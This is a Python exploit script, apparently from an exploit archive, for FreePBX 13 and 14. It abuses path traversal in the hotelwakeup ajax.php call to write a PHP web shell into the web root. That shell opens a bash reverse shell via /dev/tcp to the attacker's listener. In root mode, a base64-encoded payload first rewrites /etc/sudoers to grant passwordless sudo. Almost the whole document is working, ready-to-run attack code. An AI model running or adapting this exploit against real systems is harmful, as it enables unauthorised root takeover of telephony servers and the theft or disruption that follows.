FreePBX 13 – Remote Command Execution / Privilege Escalation
#!/usr/bin/env python ''' Title | FreePBX 13 Remote Command Execution and Privilege Escalation Date | 10/21/2016 Author | Christopher Davis Vendor | https://www.freepbx.org/ Version | FreePBX 13 & 14 (System Recordings Module versions: 13.0.1beta1 - 13.0.26) Tested on | http://downloads.freepbxdistro.org/ISO/FreePBX-64bit-10.13.66.iso http://downloads.freepbxdistro.org/ISO/FreePBX-32bit-10.13.66.iso Purpose | This script exploits the freepbx website, elevates privileges and returns a reverse bind tcp as root Usage | python pbx.py -u http://10.2.2.109 -l 10.2.2.115 -p 4444 -s r Orig Author | pgt - nullsecurity.net ''' import re import subprocess import argparse import random import time import socket import threading #This portion will check for requests and prompt user to install it if not already try: import requests except: try: while True: choice = raw_input('Requests library not found but is needed. Install? \'Y\'es or \'N\'o?\n:') if choice.lower() == 'y': subprocess.call('pip install requests',shell=True) import requests break elif choice.lower() == 'n': exit() else: continue except Exception as e: print(e) exit() #Since subprocess.call will bind, we start this thread sepparate to execute after our netcat bind def delayGet(): global args try: time.sleep(5) requests.get(args.url+ '0x4148.php.call', verify=False) except: pass if __name__ == '__main__': try: parser = argparse.ArgumentParser() parser.add_argument('-u', type=str, help='hostname and path. Ex- http://192.168.1.1/path/', dest='url') parser.add_argument('-l', type=str, help='localhost ip to listen on', dest='lhost') parser.add_argument('-p', type=str, help='port to listen on', dest='lport') parser.add_argument('-s', type=str, help="'L'ocal or 'R'oot shell attempt", dest='shell') parser.add_help args = parser.parse_args() #Make sure args were passed if args.url == None or args.lhost == None or args.lport == None or not bool(re.search(r'^(?:[L|l]|[r|R])$', args.shell)): parser.print_help() print("\nUsage: python freepbx.py -u http://10.2.2.109 -l 10.2.2.115 -p 4444") exit() #Make sure the http url is there if bool(re.search('[hH][tT][tT][pP][sS]?\:\/\/', args.url)) == False: print('There is something wrong with your url. It needs to have http:// or https://\n\n') exit() #make sure / is there, if not, put it there if args.url[-1:] != '/': args.url += '/' #python -c 'import pty; pty.spawn("/bin/sh")' #this is the php we will upload to get a reverse shell. System call to perform reverse bash shell. Nohup spawns a new process in case php dies #if version 13, lets try to get root, otherwise if args.shell.upper() == 'R': cmdshell = '<?php fwrite(fopen("hackerWAShere.py","w+"),base64_decode("IyEvdXNyL2Jpbi9lbnYgcHl0aG9uDQppbXBvcnQgc3VicHJvY2Vzcw0KaW1wb3J0IHRpbWUNCiMgLSotIGNvZGluZzogdXRmLTggLSotIA0KY21kID0gJ3NlZCAtaSBcJ3MvQ29tIEluYy4vQ29tIEluYy5cXG5lY2hvICJhc3RlcmlzayBBTEw9XChBTExcKVwgICcgXA0KCSdOT1BBU1NXRFw6QUxMIlw+XD5cL2V0Y1wvc3Vkb2Vycy9nXCcgL3Zhci9saWIvJyBcDQoJJ2FzdGVyaXNrL2Jpbi9mcmVlcGJ4X2VuZ2luZScNCnN1YnByb2Nlc3MuY2FsbChjbWQsIHNoZWxsPVRydWUpDQpzdWJwcm9jZXNzLmNhbGwoJ2VjaG8gYSA+IC92YXIvc3Bvb2wvYXN0ZXJpc2svc3lzYWRtaW4vYW1wb3J0YWxfcmVzdGFydCcsIHNoZWxsPVRydWUpDQp0aW1lLnNsZWVwKDIwKQ==")); system("python hackerWAShere.py; nohup sudo bash -i >& /dev/tcp/'+args.lhost+'/'+args.lport+' 0>&1 ");?>' else: cmdshell = "<?php system('nohup bash -i >& /dev/tcp/"+args.lhost+"/"+args.lport+" 0>&1 ');?>" #creates a session session = requests.Session() print('\nStarting Session') session.get(args.url, verify=False) print('\nScraping the site for a cookie') HEADERS = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0", "Accept": 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', "Accept-Language":"en-US,en;q=0.5","Referer": args.url + 'admin/ajax.php', 'Connection': 'keep-alive', 'Upgrade-Insecure-Requests': '1'} print('\nPosting evil php') postData = {'module':'hotelwakeup','command':'savecall','day':'now','time':'+1 week','destination':"/../../../../../../var/www/html/0x4148.php","language":cmdshell} result = session.post(args.url + 'admin/ajax.php', headers=HEADERS, data=postData, verify=False) if 'Whoops' not in result.text: print(result.text) print('\nSomething Went wrong. Was expecting a Whoops but none found.') exit() #calls the get thread which will execute 5 seconds after the netcat bind print('\nStarting new thread for getting evil php') z = threading.Thread(target=delayGet) z.daemon = True z.start() print('\nBinding to socket '+ args.lport + ' Please wait... May take 30 secs to get call back.\n') #This binds our terminal with netcat and waits for the call back try: subprocess.call('nc -nvlp '+args.lport, shell=True) except Exception as e: print(e) print('\nIf you saw the message "sudo: no tty present and no askpass program specified", please try again and it may work.') except Exception as e: print(e) print('\nSee above error') |